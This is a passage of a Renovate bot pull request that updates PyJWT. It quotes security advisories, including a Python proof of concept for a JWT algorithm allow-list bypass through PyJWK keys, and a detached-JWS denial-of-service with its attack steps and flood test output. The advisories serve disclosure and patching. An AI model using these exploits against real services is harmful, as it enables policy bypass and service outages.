from jwt.utils import base64url_encode

##### Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

##### Build a PyJWK from the public key.

##### With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))

##### Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}

header_b64 = base64url_encode(
    json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
    json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])

##### Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()

print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:")
try:
    print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
    print(f"{type(e).__name__}: {e}")

Observed output:

PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed

The token is accepted when the verification key is a PyJWK, even though:

  • the caller restricted allowed algorithms to ["RS512"]
  • the signature was actually generated with RS256

The same token is rejected when verified through the normal PEM/public-key path.

Impact

This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.

The impact depends on the deployment model:

  • If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
  • If attackers can legitimately control a registered key, this is exploitable.

Impacted deployments include:

  • JWT client assertion flows where each client uses its own key
  • multitenant systems where tenants register JWK/JWKS material
  • federation-style trust models
  • any application that relies on algorithms=[...] to enforce a crypto policy against externally controlled signing keys

What an attacker can do:

  • bypass a server-side requirement such as "only PS256" or "only RS512"
  • continue using a deprecated or blocked algorithm after the server thought it had disabled it
  • authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy

What this issue does not do by itself:

  • it does not let an attacker forge tokens without access to a valid signing key or signing oracle
  • it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS

CVE-2026-48525 / GHSA-w7vc-732c-9m39

More information

Details

[!NOTE]
Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.

When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.

For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.

This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.


Affected Component(s)
  • jwt/api_jws.py

    • PyJWS.decode() / PyJWS.decode_complete()
    • _load() (parsing and Base64URL decoding)

Root Cause (exact logic flaw)
What happens in the code

In jwt/api_jws.py, decode_complete() does the following (order matters):

  • Calls _load(jwt) first, which decodes the token segments
  • Only after that, checks header.get("b64") and if False, it replaces payload = detached_payload and rebuilds the signing input

This behavior is visible in decode_complete():

  • _load(jwt) happens before the b64=false handling
  • then payload = detached_payload and signing_input = ... detached_payload happens afterward ([GitHub][1])

Inside _load(), PyJWT unconditionally performs:

  • payload = base64url_decode(payload_segment)
    This is the expensive step the attacker can amplify ([GitHub][1])
Why this becomes a vulnerability

For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detached_payload as the real payload). Yet PyJWT still decodes it first, meaning:

  • cost is paid even when signature is invalid
  • the decoded bytes are discarded
  • attacker controls the size of this cost via token length

Impact (evidence-driven)
Security impact
  • Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key.
  • CPU amplification: Base64URL decode time scales linearly with payload segment size.
  • Memory amplification: decoded output allocates large byte buffers (tens of MB per request).
  • Operational impact: request queueing / worker starvation under modest concurrency bursts.
Standards context (RFC 7797)

RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])
(PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)


Affected Versions
  • Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo).
  • Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])

(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)


Threat Model
Typical real deployment

A service verifies signed HTTP requests or webhooks using detached JWS:

  • token is provided in JSON body / query / header
  • actual payload is the HTTP request body passed as detached_payload
Attacker
  • remote unauthenticated client
  • can send requests to verify endpoint
  • does not need a valid signature (invalid signature still triggers the expensive decode path)
Attack chain
  1. Attacker crafts a JWS compact token with header containing "b64": false and crit:["b64"].
  2. Attacker inflates the payload segment (middle segment) to millions of Base64URL characters.
  3. Server calls PyJWS.decode(...detached_payload=...).
  4. PyJWT decodes the inflated segment (CPU + memory).
  5. Signature is rejected afterward (401) — but resources already consumed.
  6. Repeated requests or bursts cause queueing/worker starvation → DoS.

Proof of Concept - file names + results
PoC placement

PoC # 1 - Localhost verification server

File: server_localhost.py

Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints:
ok / time_ms / peak_bytes / token_len / error.

Results (server console output)
[+] Listening on http://127.0.0.1:8000
[+] POST /verify  JSON: {"token": "..."}

[127.0.0.1] ok=True  time_ms=0.102 peak_bytes=2624     token_len=117      err=None
[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983  token_len=500078   err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=1.591 peak_bytes=2001061  token_len=500117   err=None

[127.0.0.1] ok=True  time_ms=0.065 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983  token_len=2000078  err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=6.347 peak_bytes=8001061  token_len=2000117  err=None

[127.0.0.1] ok=True  time_ms=0.066 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None

Key takeaways from these results

  • At 8,000,000 chars, a single invalid-signature request still causes:

    • ~23 ms server work
    • ~32 MB peak allocations
    • returns 401 (invalid signature) → attacker does not need key.

PoC # 2 - Localhost network client

File: client_localhost.py
Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.

Results (client output)
payload-chars = 500,000
=== BASELINE (valid b64=false token) ===
HTTP: 200
client_wall_ms: 6.3499...
server_time_ms: 0.10197...
server_peak_bytes: 2624

=== ATTACK (INVALID signature - attacker needs no key) ===
HTTP: 401
client_wall_ms: 4.1010...
server_time_ms: 2.01217...
server_peak_bytes: 2000983
error: InvalidSignatureError

=== ATTACK (VALID signature - accepted path still wastes) ===
HTTP: 200
client_wall_ms: 3.6586...
server_time_ms: 1.59092...
server_peak_bytes: 2001061
payload-chars = 2,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06527...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 7.53430...
server_peak_bytes: 8000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 6.34682...
server_peak_bytes: 8001061
payload-chars = 8,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06573...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 23.03403...
server_peak_bytes: 32000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 22.09702...
server_peak_bytes: 32001061

Why this is strong evidence

  • The server clearly does heavy work before rejecting invalid signatures.
  • The “valid signature” case shows even accepted requests waste resources due to unused payload segment.

PoC # 3 - Localhost flood / burst concurrency

File: flood_localhost.py
Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.

Results (your run: 20 concurrent @​ 8,000,000 chars)
total_wall_ms: 1374.5405770000616

(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')
(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')
(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')
(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')
(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')
(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')
(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')
(7,  401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')
(8,  401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')
(1,  401, 281.45106800002395, 21.

> ❗ **Important**
> 
> ✂ PR body was truncated to here.
@forking-renovate forking-renovate Bot added the dependencies Pull requests that update a dependency file label Sep 30, 2026
@renovate-bot renovate-bot added dependencies Pull requests that update a dependency file SECURITY p0 labels Sep 30, 2026
@renovate-bot
renovate-bot force-pushed the renovate/oracle-bigquery-mcp-agent-vulnerabilityalerts branch 2 times, most recently from a88db0b to 85fe26e Compare September 30, 2026 21:17
@renovate-bot renovate-bot changed the title chore(deps): [oracle-bigquery-mcp-agent] Update dependency pyjwt to v2.15.1 [SECURITY] Sep 30, 2026
@renovate-bot
renovate-bot force-pushed the renovate/oracle-bigquery-mcp-agent-vulnerabilityalerts branch from 85fe26e to efeadfb Compare October 1, 2026 08:54
@renovate-bot
renovate-bot force-pushed the renovate/oracle-bigquery-mcp-agent-vulnerabilityalerts branch from efeadfb to 1e9e82b Compare October 1, 2026 12:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file p0 SECURITY

2 participants